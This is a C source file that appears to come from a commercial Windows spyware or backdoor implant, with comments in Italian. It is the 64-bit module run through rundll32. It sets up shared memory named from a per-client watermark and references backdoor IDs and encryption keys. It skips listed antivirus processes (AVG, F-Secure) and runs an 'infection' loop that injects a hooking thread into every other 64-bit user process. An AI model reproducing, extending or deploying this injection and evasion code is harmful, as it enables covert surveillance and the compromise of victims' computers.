#include <windows.h>
#include <psapi.h>
#include <stdio.h>
#include <Tlhelp32.h>

#include "Common.h"
#include "Hooking.h"
#include "DriverAccess.h"

// Variabili condivise per l'hooking thread
#pragma bss_seg("shared")
WCHAR g_directory_name[MAX_RAND_NAME];
WCHAR g_installer_name[MAX_RAND_NAME];
WCHAR g_registry_key_name[MAX_RAND_NAME];
DWORD g_core_pid;
char SHARE_MEMORY_READ_NAME[MAX_RAND_NAME];
char SHARE_MEMORY_WRITE_NAME[MAX_RAND_NAME];
#pragma bss_seg()
#pragma comment(linker, "/section:shared,RWS")

WCHAR *process_bypassed[] = {L"avgscanx64.exe", 
                             L"fsscoepl_x64.exe", 
							 NULL };

void SetGlobalVariables()
{
	HANDLE hfile;

	// Recupera il nome della directory dove si trova il core
	WCHAR module_path[MAX_PATH];
	ZeroMemory(g_directory_name, sizeof(g_directory_name));
	if (FindModulePath(module_path, sizeof(module_path))) {
		WCHAR *dir_ptr;
		if (dir_ptr = wcsrchr(module_path, L'\\'))
			*dir_ptr = 0;
		if (dir_ptr = wcsrchr(module_path, L'\\'))
			wcscpy(g_directory_name, dir_ptr+1);
	}

	// La chiave nel registry la deriva dalla directory
	_snwprintf_s(g_registry_key_name, MAX_RAND_NAME, _TRUNCATE, L"%S", BIN_PATCHED_REGISTRY_KEY);

	// Il nome dell'installer vmware e' lo stesso della directory
	_snwprintf_s(g_installer_name, MAX_RAND_NAME, _TRUNCATE, L"%s.exe", g_directory_name);

	// Recupera il PID del core
	g_core_pid = GetParentPid(GetCurrentProcessId()); 

	// Genera i nomi della shared memory in base al watermark per-cliente
	BYTE *temp_arr = (BYTE *)WATERMARK;
	BYTE ckey_arr[16];
	for (int j=0; j<16; j++)
		ckey_arr[j] = temp_arr[j];
	ckey_arr[8] = 0;
	_snprintf_s(SHARE_MEMORY_READ_NAME, MAX_RAND_NAME, _TRUNCATE, "%s", ckey_arr);
	ckey_arr[7] = 0;
	_snprintf_s(SHARE_MEMORY_WRITE_NAME, MAX_RAND_NAME, _TRUNCATE, "%s", ckey_arr);

	// Handle per verificare se un processo ha gia' la sharedmem (e' gia' hookato)
	if (hfile = OpenFileMapping(FILE_MAP_ALL_ACCESS, FALSE, SHARE_MEMORY_READ_NAME))
		IPC_SHM_Kernel_Object = FindTokenObject(hfile);

	// Inseriti solo per usarli
	char dummy[256];
	_snprintf_s(dummy, 50, _TRUNCATE, "%s", CLIENT_KEY);
	_snprintf_s(dummy, 50, _TRUNCATE, "%s", ENCRYPTION_KEY);
	_snprintf_s(dummy, 50, _TRUNCATE, "%s", ENCRYPTION_KEY_CONF);
	_snprintf_s(dummy, 50, _TRUNCATE, "%s", BACKDOOR_ID);
	_snprintf_s(dummy, 50, _TRUNCATE, "%s", DEMO_TAG);
}

// Accetta sia il nome che il path del processo
BOOL IsToBypass(WCHAR *p_name)
{
	WCHAR *name_offs;
	DWORD i;

	// Prende il nome nel caso abbia ricevuto un path
	name_offs = wcsrchr(p_name, L'\\');
	if (!name_offs)
		name_offs = p_name;
	else
		name_offs++;

	// Lo confronta con i processi da bypassare
	for (i=0; process_bypassed[i]; i++) {
		if (!_wcsicmp(name_offs, process_bypassed[i])) {
			return TRUE;
		}
	}
	return FALSE;
}

typedef BOOL (WINAPI *PeekMessage_t)(LPMSG, HWND, UINT, UINT, UINT);
void HandleMessages()
{
	static PeekMessage_t pPeekMessage = NULL;
	MSG sm_msg; 
	HMODULE	huser;

	if (!pPeekMessage) {
		if (!(huser = LoadLibraryW(L"User32.dll")))
			return;
		if (!(pPeekMessage = (PeekMessage_t)GetProcAddress(huser, "PeekMessageA")))
			return;
	}
	
	pPeekMessage(&sm_msg, NULL, 0, 0, PM_REMOVE);
}

// Ciclo principale di infezione
#define HM_PTSLEEPTIME 500
void StartPolling(void)
{
	HANDLE hProcessSnap;
	PROCESSENTRY32W pe32;
	DWORD wait_time;

	LOOP {
		wait_time = HM_PTSLEEPTIME;
		pe32.dwSize = sizeof( PROCESSENTRY32W );
		if ( (hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 )) != INVALID_HANDLE_VALUE ) {
			if( Process32FirstW( hProcessSnap, &pe32 ) ) {	
				// Cicla la lista dei processi attivi
				do {
					// Tenta di infettare solo i processi a 64bit (diversi dal nostro!)
					if (pe32.th32ProcessID==GetCurrentProcessId() || !IsX64Process(pe32.th32ProcessID))
						continue;

					// Vede se e' in bypass e non e' di system
					if (IsToBypass(pe32.szExeFile) || !IsMyProcess(pe32.th32ProcessID))
						continue;

					// Se e' ok lo infetta (lo fara' solo la prima volta)
					if (StartHookingThread(pe32.th32ProcessID))
						wait_time = HM_PTSLEEPTIME*4;

				} while( Process32NextW( hProcessSnap, &pe32 ) );
			}
			CloseHandle( hProcessSnap );
		}
		HandleMessages();
		Sleep(wait_time);
	} 
}


// Funzione main eseguita da rundll32 64bit
void __stdcall H64_sMain(void)
{
	SetGlobalVariables();
	//GetAdmin(GetCurrentProcessId());
	//GetAdmin(g_core_pid);
	StartPolling();
}

.